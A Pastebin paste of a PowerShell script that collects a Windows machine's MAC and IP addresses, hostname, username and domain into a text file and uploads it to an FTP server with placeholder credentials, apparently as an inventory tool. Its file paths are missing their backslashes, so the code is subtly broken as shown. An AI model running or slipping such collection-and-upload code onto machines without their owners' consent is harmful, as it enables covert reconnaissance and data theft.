Advertisement
Guest User

Untitled

a guest
Nov 21st, 2014
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.87 KB | None | 0 0
  1. function Get-MACAddress {
  2. ipconfig /all | findstr "Physical" | Where-Object {$_.length -lt 58}
  3. }
  4. function Get-IPAddress {
  5. ipconfig | findstr "IPv4 Address"
  6. }
  7. function Get-HostName {
  8. get-content env:computername
  9. }
  10. function Get-UserName{
  11. get-content env:UserName
  12. }
  13. function Get-DomainName{
  14. get-content env:USERDOMAIN
  15. }
  16. function CreateCSVdocument {
  17. Get-MACAddress | New-Item C:Users$($env:username)Documents$($env:username).txt -type file -force
  18. Add-Content C:Users$($env:username)Documents$($env:username).txt " "
  19.  
  20. Get-IPAddress | Add-Content C:Users$($env:username)Documents$($env:username).txt
  21. Add-Content C:Users$($env:username)Documents$($env:username).txt " "
  22.  
  23. Add-Content C:Users$($env:username)Documents$($env:username).txt "Hostname:"
  24. Get-Hostname | Add-Content C:Users$($env:username)Documents$($env:username).txt
  25. Add-Content C:Users$($env:username)Documents$($env:username).txt " "
  26.  
  27. Add-Content C:Users$($env:username)Documents$($env:username).txt "User:"
  28. Get-UserName | Add-Content C:Users$($env:username)Documents$($env:username).txt
  29. Add-Content C:Users$($env:username)Documents$($env:username).txt " "
  30.  
  31. Add-Content C:Users$($env:username)Documents$($env:username).txt "Domain:"
  32. Get-DomainName | Add-Content C:Users$($env:username)Documents$($env:username).txt
  33. }
  34. function FTPUpload {
  35. $Dir="C:Users$($env:username)Documents$($env:username).txt"
  36.  
  37. #ftp server
  38. $ftp = "ftpserver"
  39. $user = "username"
  40. $pass = "password"
  41.  
  42. $webclient = New-Object System.Net.WebClient
  43.  
  44. $webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass)
  45.  
  46. #list every sql server trace file
  47. foreach($item in (dir $Dir "$($env:username).txt")){
  48. "Uploading $item..."
  49. $uri = New-Object System.Uri($ftp+$item.Name)
  50. $webclient.UploadFile($uri, $item.FullName)
  51. }
  52.  
  53. }
  54. Get-DomainName
  55. Get-IPAddress
  56. Get-MACAddress
  57. Get-HostName
  58. Get-UserName
  59. CreateCSVdocument
  60. FTPUpload
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement